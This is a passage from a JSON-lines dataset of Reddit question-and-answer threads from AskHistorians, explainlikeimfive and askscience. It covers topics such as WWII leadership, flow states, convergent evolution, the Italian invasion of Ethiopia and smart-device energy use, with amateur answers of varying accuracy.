underbelly at all). The other though was a mainland invasion... which obviously occurred at Normandy. But, Stalin put so much pressure on the western allies to help take pressure off them by drawing German troops away from the east, it can be said some of the African and Italian campaigns were under pressure to execute and perform to do this.\n\nEdit: sorry if this was unclear, I wrote this hoping it would be assumed that Roosevelt, Churchill, et all drove these political influences on strategy.", "Roosevelt tended to be pretty hands off. MacArthur had quite a bit of free reign in the Pacific, likewise Eisenhower in Europe. I'm sure somebody here can correct me, but I can't think of a serious instance of a WWII theater level commander being second guessed by the White House after the war had begun.", "One book you might want to check out is *Supreme Command* by Eliot Cohen.  He talks about how Churchill took an active role in challenging his generals, not because he thought they were inherently wrong, but because he felt that he needed to challenge their assumptions and logic.  So while he may not have directly \"meddled\" in his military's strategy, he did take a very proactive role in shaping it.  Cohen argues this is one reason for Britain's success during WWII.", "Well, Churchill did that whole Greece thing against military advice.  He talked about how British honour and whatnot was at stake.  There's been a lot of anger in Australia and New Zealand about it since because even though he thought Britain had to defend Greece for Britain's honour he then decided to send a mostly Australian and New Zealand force.\n\nWhen the Australian troops were returning home from North Africa to Australia he kept trying to get their transports to divert to Burma even though the Australian Prime Minister kept telling him that the troops were to be sent directly back to Australia.  ", "Churchill was worse about it than Roosevelt, but neither were as bad as Hitler about meddling. My favorite anecdote comes from Ambrose's *D-Day* when he told Eisenhower of his intention to join the Normandy invasion and watch the landings from HMS *Belfast*.\n\nNaturally, Eisenhower told Churchill that he didn't think it was a good idea for the leader of the British Empire to participate in a military operation like that and endanger his life. Churchill reminded Ike that although he was the supreme operational commander, he had no influence on the individual make-up of a ship's crew. Ike confirmed this and Churchill replied, \"Well, then I can sign on as a member of the crew of one of His Majesty's ships, and there's nothing you can do about it.\"\n\nIke begged him not to go one last time but Churchill declined. As soon as he left, Ike immediately called King George VI, who told him, \"You boys leave Winston to me.\" The king then called the prime minister and told him, \"Well, as long as you feel it is desirable to go along, I think it is my duty to go along with you.\" Churchill stayed behind.", "Actually, it's a bit of a misonception that Stalin tried to \"micromanage\" in military matters. Certainly he can't be compared to Hitler in that respect. By and large he listened to his generals, which might very well be why the Soviets were eventually victorious. \n\nA very simplified explanation might  be that he didn't have a big reason not to trust them, as if he thought he did they would probably have been victims of the army purges of the 1930s that saw *most* of the ranking officers removed from service (and from the face of the Earth, in many cases).", "I've been reading The Generals by Thomas Ricks and he characterizes the relationship between FDR and Marshall as the ideal relationship between the military and their civilian superiors. But this is mostly because George Marshall is the best military leader in US history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1azhhk/ive_read_that_one_of_the_big_problems_for_the/c92eb2g"], [], [], [], [], [], [], [], []]}
{"q_id": "9y1r5i", "title": "what is the trance-like state you go onto when playing rhythm games and why does it happen?", "selftext": "When playing rhythm games, you'll often go into a state where you aren't actually concentrating on the game anymore and your hands are moving faster than you could concsiously move them, and if you try to focus back on the game you end up not being able to actually play as well.\n\nWhat is this and why does it happen?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9y1r5i/eli5_what_is_the_trancelike_state_you_go_onto/", "answers": {"a_id": ["e9xd4ze", "e9xdu3m", "e9yklt3"], "score": [2, 28, 3], "text": ["Can you give an example of one of these games? I just wanna see if I go into a trance like state from it", "It's called flow state, or just flow. It happens with other activities, as well, when you find the right balance of challenge and enjoyment. The state of flow is not fully understood yet, but there is a very well known Ted Talk about it by the psychologist who first documented it, whose name I won't even try to spell: _URL_0_ ", "The basic concept as I understand it is mainly muscle memory. You practice enough that the skill becomes primarily subconscious, and when you are in flow your body is responding beyond what your conscious mind is able to interpret. When you try to engage your conscious mind, it exerts control over your subconscious but muscle memory is stored in the sub so you actually get worse.\n\nIt's the main reason people that are on a hot streak in sports can be disrupted by asking them how they are doing so well. As soon as you start actively thinking about it, you override the part of your brain that is controlling it and making you do well. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.ted.com/talks/mihaly_csikszentmihalyi_on_flow/up-next?language=en"], []]}
{"q_id": "4x1qhb", "title": "My Great Grandad has a WW1 US French Victory medal, but he was a British soldier?", "selftext": "I'm assuming he possibly swapped medals with a US soldier or made some other trade. But is it at all possible that he could have been awarded it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4x1qhb/my_great_grandad_has_a_ww1_us_french_victory/", "answers": {"a_id": ["d6bt7sv"], "score": [11], "text": ["Hi there -- the French victory medal was actually called the Inter-Allied Victory Medal and awarded to all soldiers who had served for at least three months between 1914-1918 in the war zone, as well as nurses, some POWs and others, and was awarded to Allied personnel regardless of nationality. \n\nAlso, if you'd like to find out more about your great-grandfather's service, our [Guide on Military Identification](_URL_0_) may be of use to you. It provides a number of different resources, including how to request service records from a number of national agencies around the world, as well as graphical aids to assist in deciphering rank, unit, and other forms of badges or insignia. While the users here may still be able to lend you more assistance, hopefully this will provide a good place to start!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/militaryrecords"]]}
{"q_id": "3fmhgo", "title": "why do wall street traders wear those ugly coats?", "selftext": "They ruin those perfectly fine shirts and ties with a blue coat that makes them look like auto mechanics. Nothing wrong with mechanics though, I love them, but at least they don't wear ties underneath. I'm curious if there is a background story to that.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fmhgo/eli5_why_do_wall_street_traders_wear_those_ugly/", "answers": {"a_id": ["ctpxox9", "ctqd7z7"], "score": [19, 3], "text": ["Anyone on the trading floor must wear a coat and tie, that's the rules of the exchange floor. A normal suit jacket would be too restrictive and too hot to wear in the high activity and high stress of a trading floor.\n\nIf all the staffers for a particular bank/brokerage all wear the same colored jacket, they can quickly see their colleagues. It makes it easier to find the right person when the desk staff need to relay an order via a runner to the trader on the floor. \n\nThink of it like how the crew on the flight deck of an aircraft carrier all wear different colors to symbolize what job they have on the flight deck.", "Most Traders on wall street actually do not work \"in the pit\" anymore as most trades are done electronically on computers. For traders not trading on the floor of an exchange any business attire (coat and tie or suit) can be worn. /u/Snewzie was right about the color coordination\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "drsqxn", "title": "Why is our sun so rare being a solitary star and how did it form without a companion?", "selftext": "I am currently taking an astronomy class at my college and my professor keeps saying that our sun is very rare why is that and did it have a companion billions of years ago?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/drsqxn/why_is_our_sun_so_rare_being_a_solitary_star_and/", "answers": {"a_id": ["f6lj0ao"], "score": [18], "text": ["It's not that rare. Maybe 60-80% of star systems of our Sun's age are binaries. So it's true that *most* massive star systems are binaries, but that doesn't mean that *almost all* massive star systems are binaries. Note also that red dwarfs are usually lone stars - it's just the bigger stars that tend to be in binaries. There are more low-mass red dwarfs than medium-mass Sun-like stars (or high-mass blue stars), so overall most stars are actually in single systems. The Sun is in the minority *only in its class*, but even then it's still a reasonably sizeable minority. Overall, there isn't anything exceptional about the Sun, beyond how any star seems unique if you look at enough of its properties.\n\nFor your second question: there's some speculation about the Sun having a a long-period or long-lost companion, but it is definitely still just speculation - there's no good evidence for it yet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "31y83u", "title": "Would someone please explain the science (physiology) behind irritability to me?", "selftext": "What is the physiological process, what is the the biology/chemistry, that happens when a person is feeling irritable.   \nI know that a person can be irritable when they are hungry/thirsty, when they are stressed, or for many other reasons, but I don't know what exactly irritability is.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/31y83u/would_someone_please_explain_the_science/", "answers": {"a_id": ["cq6qbpt"], "score": [2], "text": ["This is an excellent question!\n\nThe body produces a series of neurotransmitters that are intended to promote certain activities.  Sex, foods we like, recreational drugs, falling in love, exercise, etc, all release certain neurotransmitters like dopamine and serotonin.  When these levels are high, we are happy,  relaxed, satiated, etc, depending on the neurotransmitter.  In homeostasis, the body releases a small amount of these neurotransmitters just to maintain a baseline.  During times of intense negative stimulus or boredom these transmitters are released below the normal baseline threshold.  The evolutionary role here is that the body is saying, \"stop what you're doing.  Do something you like.\"  If you are unable to change what you're doing (having to continually talk to someone you hate or being caught in traffic for hours) the body will experience the opposite effect of what you would experience with increased neurotransmitter activity; happy/sad, relaxed/anxious, satiated/unsatisfied.  Again, it's your neurochemistry talking to your consciousness that something needs to change.  \nThis up and down change is healthy and normal.  But humans have figured out how to increase the production of certain neurotransmitters, impacting the careful balance that the body maintains.  In the above example, I mentioned recreational drugs.  Methamphetamine drives up the production of dopamine so that the neurotransmitter receptors are flooded with dopamine.  The effect is a feeling of euphoria.  But, soon the body realizes that there is far too much dopamine in the body and begins to shut down receptors, so even when the body goes back to stasis, there aren't enough receivers to know that normal amounts of dopamine are present.  The results are depression, anxiety, itchiness (normally dopamine suppresses some pain sensation) and anger.  Normal activities like being with friends or eating good food are not enough for the decreased number of receptors.  The only way the body will feel good again is to ingest more methamphetamine.  The more methamphetamine someone takes, the fewer receptors there are to feel the effects.  This is the very definition of addiction.  \nI'm going into a book on this answer, so I'll stop here.  Let me know if this makes any sense.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zak7x", "title": "Evolution: What similar features in nature have evolved completely independent from one another.", "selftext": "Hello askscience,\n\nI got the following question:\nAre there features that have evolved on two different lifeforms that can not be traced back to a common ancestor? \n\nSo lets say there are insects and mammals, and both have eyes. Do these eyes come from a creature that is a common ancestor to both, or did this evolution tree split somewhere where no eyes were present in any form were present at all, or did both evolve independently with similar properties.\n\nThis is just an example, I am curious about all possible examples for this.\n\nThank you!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zak7x/evolution_what_similar_features_in_nature_have/", "answers": {"a_id": ["c62wvfs", "c62xa53", "c62xdwh", "c62y0pt"], "score": [14, 4, 2, 3], "text": ["It seems silly to type it all out when wikipedia has a great article on this one.  It is called [convergent evolution](_URL_2_).  They even have a huge list [of examples](_URL_0_).  It is an interesting phenomena that highlights the effect that environment has on evolution.  Two unrelated fish need to adapt to freezing water, both developed [antifreeze proteins](_URL_1_) but in very different ways.  Neat.", "To add to JdRnDnp you may want to look at the wiki article on [analogous traits](_URL_0_ which are basically traits of different origins (different last common ancestors) but which solve the same problem.\n\ne.g. the wings of a bat, bird and insect all solve the problem of flight but they arose independently in evolutionary history. The wings of bats, birds and insects are not related.\n\nConversely you could look at [homologous traits](_URL_1_ which are traits that have been conserved from a last common ancestor but in its descendants may be modified to solve different problems. \n\ne.g. all limbs of amphibians, mammals, reptiles and birds originate from a single last common ancestor - a tetrapod. Which had four limbs like us with bones in similar location, shape and function. However, certain limbs have been adapted to suit the locomotion pattern of that animal - whales and snakes have lost limbs, others grew more flexible, and still others more rigid.", "[This](_URL_0_) is my favourite example. On the left is the skull of a marsupial known as Thylacine. On the right is a wolf. The two evolved on separate continents but look almost indistinguishable! ", "The prokaryotic and eukaryotic flagella evolved independently, have very different structure, but accomplish the same purpose."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/List_of_examples_of_convergent_evolution", "http://www.pbs.org/wgbh/evolution/library/01/4/l_014_01.html", "http://en.wikipedia.org/wiki/Convergent_evolution"], ["http://en.wikipedia.org/wiki/Analogy_(biology)", "http://en.wikipedia.org/wiki/Homology_(biology)"], ["http://en.wikipedia.org/wiki/File:Beutelwolf_fg01.jpg"], []]}
{"q_id": "vxoaz", "title": "Does a perfect sphere have zero, one, or infinite faces?", "selftext": "Does a face have to be flat?  Then it would be zero, right?  If not, I would think the answer is one.  But if you had an approximation of a sphere, like a polygon but 3d, the more faces you added, the closer to a sphere it would be.  So along that line of thinking, infinity faces would yield a prefect sphere.  Help.  Thanks!\n\nEDIT: Thank you everyone for your answers!  Very interesting!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vxoaz/does_a_perfect_sphere_have_zero_one_or_infinite/", "answers": {"a_id": ["c58io7p", "c58iznb", "c58j09j", "c58kenx", "c58o2sj"], "score": [53, 12, 6, 3, 2], "text": ["It doesn't have any faces (i.e., 0) because a face is a part of a plane, therefore flat. Infinite faces would yield a perfect sphere--with faces of zero area--but infinity is not a number, so you can't really get there. If you've the mathematical interest to pursue it further, the concept you're brushing up against is that of a \"limit\", which is the magic glue that holds the Calculus together.\n\n(B.S., Math '93. Lots of folks who know a lot more will answer more precisely and rigorously.)", "It all depends on your definitions. For instance, if you are considering the word \"face\" in its strict, mathematical definition, a sphere has 0 faces since as a continuous surface it has no edges. If by \"face\" your intended meaning was the mathematical definition of a \"surface\" then the answer is either 1 or 2 depending on whether you are considering the interior and exterior surfaces separately.\n\nIf you are interested in the mathematics behind this a bit more, as phrits pointed out, the mathematical concept of the limit can be applied to Euler's Formula to give an overview of what's going on with the concept of \"infinite faces.\"\n\n_URL_0_", "~~In modern mathematical language, there are two \"faces\".~~ Using some fancy math (homology in algebraic topology), you can show that the [Euler characteristic](_URL_0_) of the sphere is 2, and you may know that this means that 2 = V - E + F, where V = vertices, E = edges, F = faces. Typically this formula is applied to polyhedra, but we can make it work for the sphere. Note that the Euler characteristic is 2 for all the spectral polyhedra, so the sphere also being of characteristic 2 makes sense.\n\nYou can build a sphere by starting with a point (one vertex), attach a circle to the point forming an equator (one edge), and then attach two hemispheres to the circle (two faces). 1 - 1 + 2 = 2, so the formula for the Euler characteristic is correct, and the sphere has two hemispherical faces.\n\nEdit: The replies are correct, this is not the only way to construct a sphere (as a CW-complex), nor is two the only \"correct\" answer without some additional constraints. That's why I started with \"face\", since it is not a concept that generalizes well, but Euler characteristic is. For further examples of alternate constructions, just look at the pictures [here](_URL_1_).", "I always thought what would happen if you had a perfect sphere (with mass) resting on a perfect smooth plane. I guess if you think about the sphere it touches the plane at an infinitely small point which would mean infinite pressure until it sank a small amount into the plane.", "It depends how you define a 'face.'\n\nOne definition I have seen is that a subset F of some compact convex     set C is said to be a face if for all x,y in C and 0  <  t  <  1 we have that \n\nt * x + (1-t) * y in F implies x,y in F\n\nThis type of definition is used in a proof of the Krein-Milman theorem and I think is pretty standard when considering compact locally-convex topological spaces.\n\nIn any case with this definition every point on the exterior of the sphere is indeed a face."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Euler's_formula#Using_the_limit_definition"], ["https://en.wikipedia.org/wiki/Euler_characteristic", "https://en.wikipedia.org/wiki/Spherical_polyhedra"], [], []]}
{"q_id": "2c4bep", "title": "why do my legs become drier than the rest of my skin?", "selftext": "If I don't use lotion (or when I use too much too frequently), my lower legs become extremely dry, to the point where my skin gets white and almost scaly. My hands  &  elbows also get dry, but not like this. And my arms never get this dry. Why my legs and not my arms? Why my lower legs and not the rest of my body?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2c4bep/eli5_why_do_my_legs_become_drier_than_the_rest_of/", "answers": {"a_id": ["cjbtba6"], "score": [2], "text": ["Do you shave your legs?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fyuzcm", "title": "why does one-ingredient banana ice cream work?", "selftext": "Just made some today, and while it was delicious, I was wondering how this was possible (and why banana seems to be the most promoted fruit to try this on). Is there a chemical in the banana that allows this, and would this theoretically work for any other fruit too?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fyuzcm/eli5_why_does_oneingredient_banana_ice_cream_work/", "answers": {"a_id": ["fn2d15o", "fn2g40w"], "score": [14, 12], "text": ["I\u2019m no expert but my guess is that it\u2019s entirely due to the consistency.  Bananas have that naturally \u201ccreamy\u201d texture similar to ice cream. I cannot think of any other fruit that matches it personally.", "Yes, there is a chemical in banana that makes it work.  Pectin. It's the chemical used to make jelly jelly instead of fruit juice.\n\nMany other fruits contain pectin, but bananas contain a lot.\n\nWhen you whip it together, the pectin forms chains and kind of acts like gelatin.\n\n[source](_URL_0_) (not a super great source but you can google for a better one if you really care.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://food52.com/blog/4309-the-kitchn-s-one-ingredient-ice-cream"]]}
{"q_id": "s11l3", "title": "Why do some people have a \"weak stomach\" and \nsome people have a \"strong stomach\"?", "selftext": "In case these terms are not universal, a weak stomach is referring to how certain people have a tendency to get nauseas from foods much easier than others, where a strong stomach is someone who does not get nauseas from foods easily.\n\nAnother question, is there any way a person with a weak stomach would build up their tolerance and develop a strong stomach? \n\nEDIT: To attempt to make it more clear, I'll give an example: Say myself and a friend were to eat food that was prepared improperly, I vomit, where as he only gets a stomach ache. I would be \"Weak stomached\" where he would be \"Strong stomached\". Then, this happens again with the same people, regardless of the situation. I tend to get upset stomachs or nausea from food far easier than most people, meaning I would have a \"Weak stomach\", where people who can eat things that normally would make one ill do not get ill from them would be \"Strong stomached\". ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s11l3/why_do_some_people_have_a_weak_stomach_and_some/", "answers": {"a_id": ["c4aapct", "c4ae8kw", "c4afj09"], "score": [7, 3, 3], "text": ["I'm not sure what you are getting at but I'll try my best to address some aspects of your question.\n\nPeople get nauseous due to a huge number of factors and for each individual a \"weak stomach\" could be due to a number of things.\n1) People are sometimes prone to nausea due to sensitive mucosal lining of the intestine being less developed or damaged (I.e Gastritis,IBD, Coeliac disease). In this case the inflammatory processes irritate nerve endings which are percieved in the brain as feelings of nausea (Probably mediated by the vomiting centre in the brain stem)\n2) People can have a stronger sense of smell or taste, This will lead to overexcitement of the orbitofrontal cortex and again nausea mediated by the vomiting centre (or at least discomfort) if exposed to particularly strongly flavoured foods.\n3)Some people will have a larger gastric reserve and therefore will have less stretch in their stomach at lower volumes of food, this will prevent them from feeling nauseous as they will not be releasing hormones that mediate a sensation of fullness (Or gluttony as the case may be) and will therefore be less likely to be nauseous.\n\nI hope this helps, or at least gets the ball rolling!", "This is an interesting review of the roles that intestinal flora plays (the helpful bacteria that lives in our intestines). A key point is that having that non-pathogenic bacteria living in your intestines prevents pathogenic strains (like from contaminated foodstuffs) from being able to colonize.\n\n_URL_0_ ", "In such cases as lactose intolerance other such food intolerance's it is caused by certain lack of amino acids and or chemicals in your stomach and or intestines that normally aid in digestion of certain types of foods. For instance people with lactose intolerance's generally have issues being able to eat types of wheat and yeast and will often be allergic to things like beer. From personal experience, if I eat too much bread/wheat and or beer in the same day I will get extremely sick, depending on amounts could be from throwing up to issues of a \"gaseous\" nature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.dms.ufsc.br/mip7013/arquivos/2550_Gut%20flora%20in%20health%20and%20disease.pdf"], []]}
{"q_id": "ifwtd", "title": "Could one disperse extremophiles in capsules in space in an attempt to populate the universe with life?", "selftext": "Would this be feasible? Would the organisms survive the millions of years, granted that they land in a suitable environment?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ifwtd/could_one_disperse_extremophiles_in_capsules_in/", "answers": {"a_id": ["c23gdc0", "c23gmdz", "c23ib4r", "c23itn0"], "score": [25, 17, 2, 3], "text": ["Feasible, yes.  But that would be like ancient Rome sending a ship filled only with mice across the Atlantic; it serves no purpose except to potentially destroy future discoveries.  ", "Generally, extremophiles are specialists.  They specialize in living in volcanic vents, underground lakes, sulfuric acid drips, etc.  By definition, specialists have a very narrow niche.  I don't think there are any that could survive a vacuum.  [Tardigrades](_URL_0_) are capable of entering a stasus that could survive in a vacuum, but they wouldn't be able to reproduce until they reached a suitable habitat.\n\nIt may be possible to genetically engineer something that could thrive in space, but that's not my field of expertise.", "Layman here.  As far as I know, this is entirely speculative and most likely complete hogwash, but some people suggest that mushroom spores have what it takes to be interstellar seedlings.  It's been said that they're light enough to be wafted practically to the boundaries of the atmosphere and could conceivably be blasted into space by any major atmospheric event.\n\nAs if that's not wildly speculative enough, [Terrence McKenna](_URL_0_) has suggested that perhaps extraterrestrial mushroom spores are the progenitors of human intelligence - that the consumption of psychoactive compounds brought to earth by these spores led to increased visual acuity, interpersonal bonding, even early religious experiences, all of which gave certain evolutionary advantages to those proto-human groups which consumed them.\n\nSo yeah - interesting conjectures.  I don't know if they're backed up at all by anything even remotely resembling real evidence.", "It might be theoretically possible for them to survive, but another thing you need to take into account is that space is really, really empty, and everything is really far away.  The chances of actually hitting another planet with your extremophile capsules would be virtually nil without specifically targeting them.  I don't think dispersion would work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Tardigrade"], ["http://en.wikipedia.org/wiki/Terence_McKenna#The_.22Stoned_Ape.22_Theory_of_Human_Evolution"], []]}
{"q_id": "3cfdth", "title": "What was the international reaction to the widespread italian use of chemical weapons in the 1935-36 italian invasion of ethiopia", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3cfdth/what_was_the_international_reaction_to_the/", "answers": {"a_id": ["csv3e33"], "score": [59], "text": ["**PART ONE**\n\nThe international reaction to the Abyssinian Crisis and the Second Italo-Ethiopian war *in general* was negative but I'm going to focus on Britain and to a lesser extent France as this is the area I've researched. Arguably the British popular reaction to the conflict reflected plenty of international opinion at the time *and* Britain\u2019s role in the conflict is crucial, so if you're going to focus on any international reaction especially from Europe, Britain is probably your best bet besides France or maybe Greece (there's a book by Barros on the subject of the Greek role in the conflict). So this answer will at least give you a good idea of the British reaction to the conflict.\n\nPopular opinion in Britain was outraged by the use of chemical weapons in this war and the war itself as a whole. However the League of Nations, and what was effectively its leadership of Britain and France, did not act on the overwhelmingly anti-Italian sway of public opinion, partly caused by the use of poison gas, for various geopolitical reasons \u2013 so there exists a gap in international reaction between popular opinion and the public face of Britain and France on the one hand, and on the other a private reluctance to actually react at all or confront Italy, which will be explained here.\n\n**Context**\n\nSome background context first; it is worth noting that Ethiopia was one of the last areas of Africa not colonised or taken over by European\u2019s at this point. Haile Selassie\u2019s Ethiopia was a League of Nations member and had already embarrassed the Italian\u2019s in a previous conflict towards the end of the 19th century. So Ethiopia had more legitimacy as an independent entity in European eyes than most areas of European-dominated Africa, and had legal protections from their League membership and a 1928 friendship treaty with Italy on their side. On the use of gas specifically, it was prohibited by the 1925 Geneva Protocol which a number of powers had ratified, Italy included, after the effects gas had on men in the First World War. Therefore there was already a firm basis for criticism of Italy\u2019s actions. However Mussolini\u2019s fascists had now been in power in Italy for around a decade and had planned a potential second invasion of Ethiopia for a number of years.\n\nThe \u201cAbyssinian Crisis\u201d preceding the war had basically been a prolonged period of Italian military buildup following the Walwal Incident of November 1934, when an Italian fort which had been built at Walwal \u2013 right on the frontier of Ethiopian territory \u2013 was the site of a territorial dispute between the two sides. The British tried to mediate, this failed, and there was a skirmish which resulted in a League inquiry that exonerated both sides; an ending that satisfied nobody. The Walwal Incident was Italy\u2019s excuse for a war that they had been planning for anyway. From December 1934 to the beginning of the war in October 1935, Italy\u2019s military buildup continued unopposed despite repeated protest by the Ethiopian\u2019s to the League of Nations. Italy invades in October and carried out a quite brutal war against Ethiopia, which resisted regardless and even scored a victory of sorts with its \u201cChristmas Offensive\u201d. The League placed sanctions on Italy but these were ineffective and Italy eventually won the war in May 1936, helped in doing so by the Hoare-Laval controversy and the other factors that ensured Britain failed to respond to Italy's aggression against the League order.\n\n**The use of gas**\n\nI did an undergraduate essay on this conflict and the British response to it and, from the reading I did on the conflict, there is no dispute about the fact that Italy regularly employed chemical weapons against Ethiopia in an indiscriminate manner. There is dispute over when it was first used - Sbacchi came to the conclusion for example that despite historical controversy over the extent to which gas was employed, it was for sure first used in the conflict during the first month, October 1935, and this became publicly known abroad quickly, whereas the SIPRI paper I\u2019ve linked suggests that they were not used before the Ethiopian Christmas Offensive; either way it is known for sure that they had been used by early 1936. Even a quick glance at primary source material quoted on Wikipedia will show you that the use of chemical weapons was intended to terrorise the population, not just the military, and that orders to do so came from the top;\n\n\u201cRome, July 8, 1936. To His Excellency Graziani. I have authorized once again Your Excellency to begin and systematically conduct a politics of terror and extermination of the rebels and the complicit population. Without the lex talionis one cannot cure the infection in time. Await confirmation. Mussolini.\u201d \n\nSelassie made several appeals to the League of Nations for intervention but perhaps the most famous (which was quoted in an exam paper I did the same year) was his emotive address after the conflict was effectively over, in June 1936. Obviously his account is subject to bias but he gave a very emotive description of events which was typical of Ethiopia\u2019s protests earlier in the conflict, and proved important in influencing public opinion in Britain along with the protests of the International Red Cross and reports from the frontline. Here is the most relevant part of Selassie\u2019s protest:\n\n\u201cIt was at the time when the operations for the encircling of Makalle were taking place that the Italian command, fearing a rout, followed the procedure which it is now my duty to denounce to the world. Special sprayers were installed on board aircraft so that they could vaporize, over vast areas of territory, a fine, death-dealing rain. Groups of nine, fifteen, eighteen aircraft followed one another so that the fog issuing from them formed a continuous sheet. It was thus that, as from the end of January, 1936, soldiers, women, children, cattle, rivers, lakes and pastures were drenched continually with this deadly rain. In order to kill off systematically all living creatures, in order to more surely to poison waters and pastures, the Italian command made its aircraft pass over and over again. That was its chief method of warfare. The very refinement of barbarism consisted in carrying ravage and terror into the most densely populated parts of the territory, the points farthest removed from the scene of hostilities. The object was to scatter fear and death over a great part of the Ethiopian territory. These fearful tactics succeeded. Men and animals succumbed. The deadly rain that fell from the aircraft made all those whom it touched fly shrieking with pain. All those who drank the poisoned water or ate the infected food also succumbed in dreadful suffering. In tens of thousands, the victims of the Italian mustard gas fell. It is in order to denounce to the civilized world the tortures inflicted upon the Ethiopian people that I resolved to come to Geneva.\u201c\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7behyz", "title": "how do \u201csmart\u201d products save on electricity bills if they are always on?", "selftext": "As above. Smart lighting is supposed to save on energy costs but if they are always on and waiting for a signal, surely they are expending more energy than if it was a normal bulb turned on and off at the socket? The same question applies to smart plugs.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7behyz/eli5_how_do_smart_products_save_on_electricity/", "answers": {"a_id": ["dphbdc3", "dphblli", "dphcxm5"], "score": [3, 9, 2], "text": ["They use about 2W or 3W when \"off\" which is most of the time. Let's say this means your 150W lamp or TV stays on for 1 hour less each day. The savings exceeds the waste. Even better if you get a very efficient device that uses under 1W when \"off.\"\n\nThe savings are of course proportional to the energy involved, so a \"smart\" air conditioner or heater is your best investment here.", "The amount that these devices consume for the purposes of waiting for a signal is very small. The idea is that the amount of energy saved by the primary utility of the device (the light bulb, or the device plugged into the smart plug) being on less because the smart circuitry turns it on and off as needed far exceeds the amount of energy that is consumed when the device is not operating but is communicating with the controller.\n\nIn other words, you might spend an extra two cents in \"smart controller\" power to save 30 cents on power consumption.", "This whole reasoning depends on how much energy you need for the controlling equipment and how much energy is required when it's on.\n\nI work with street lights professionally, and if you compare the energy consumption of ten thousand lamp posts and the equipment required to control it (including server farms and communications equipment), its definitely worth the trouble to have the monitoring capability simply for the energy savings you get for identifying an issue right as it happens rather than weeks later during an inspection. More so if you compare the cost of actually driving to the roadside cabinet (well, cabinets. there are usually hundreds of them) where the equipment is mounted with just unfolding your laptop and clicking a button on a web page.\n\nBut, yes. You are entirely correct. A bulb that is very, very seldom on would consume enough energy in standby to eat up the gain from having the ability to control it.\n\nThe same reasoning goes for your TV too. It consumes some energy when it's in standby. And a whole lot more when it's on. But if it's very seldom on, it kind of makes sense to not have it in standby unless you intend to use it kind of often.\n\n(It's also worth to point out that a TV would probably drain it's battery backup that feeds the memory circuit for the settings if you constantly turn it off by pulling the plug. And it could be cheaper and more convenient to leave it plugged in for that reason.)\n\nThe problem with lights is that, generally speaking, you have the lights for a reason. Well, you know. You have the lights because you want to be able to see. You want to feel safe. And so on.\n\nHaving one single light in your window that is smart is not giving you much gain. Because window lights are often not even intended to illuminate anything. They are mostly there as a form of decoration, and so that you have a shadow to aim at when you are going to the loo in the middle of the night.\n\nAnd you probably won't have much use for a single one in the bathroom either, because of the example above. But how about your living room? You turn those lights on and off every day. And you probably enjoy being able to let your home theatre remote control them simultaneously as you turn on the BluRay-player, fire up the TV and set the volume on your home theatre system.\n\nBut most of that is just convenience. It has nothing to do with energy saving. It's convenience from the bottom an up.\n\nThe same goes for lights that react to movement. unless you control a whole lot of lights, it's convenience and not because of savings. Well. Nowdays, anyway. When anything decent to light up your garden was a gas discharge light about a decade ago, it surely was about energy savings. Now it's more leaning towards convenience.\n\nIf you want to save energy, you need to look at the more blasting setups with a lot of spotlights and other cosmetic lights in your garden. Controlling those could perhaps save energy. But more so if you centralize controls and have one single pair of wires to feed them when you need them than if you feed them permanently from a lot of different circuits and have radio capability in all of them.\n\nThat said, the whole industry is pretty damn aware of the problem with their products. Radio controllers are getting more energy efficient. I kind of recall that I saw some a while back where the actual bulb could be set in a low-energy mode that cut down consumption a whole lot, and borked the reception in the process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
